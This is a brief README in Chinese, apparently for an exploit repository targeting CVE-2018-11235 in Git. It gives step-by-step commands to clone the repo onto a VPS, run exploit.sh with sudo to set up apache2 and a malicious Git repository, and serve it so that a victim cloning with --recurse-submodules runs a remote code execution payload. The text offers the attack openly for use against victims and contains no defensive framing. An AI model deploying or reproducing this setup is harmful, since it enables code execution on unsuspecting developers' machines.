CVE-2018-11235

1. 通过 ssh 连接到你的 VPS。
2. 克隆此仓库：

git clone https://github.com/Rezy-Dev/CVE-2018-11235
cd CVE-2018-11235

3. 为 exploit.sh 添加执行 (x) 权限，然后运行它：

sudo chmod +x exploit.sh
sudo ./exploit.sh

它会下载 apache2 并为我们构建恶意仓库。

4. 完成后，我们可以使用链接 http://vps-ip/malicious.git 作为 git 仓库。
5. 当受害者像下面这样克隆时：

git clone --recurse-submodules http://vps-ip/malicious.git

有效载荷的 RCE 命令应该会执行。

谢谢！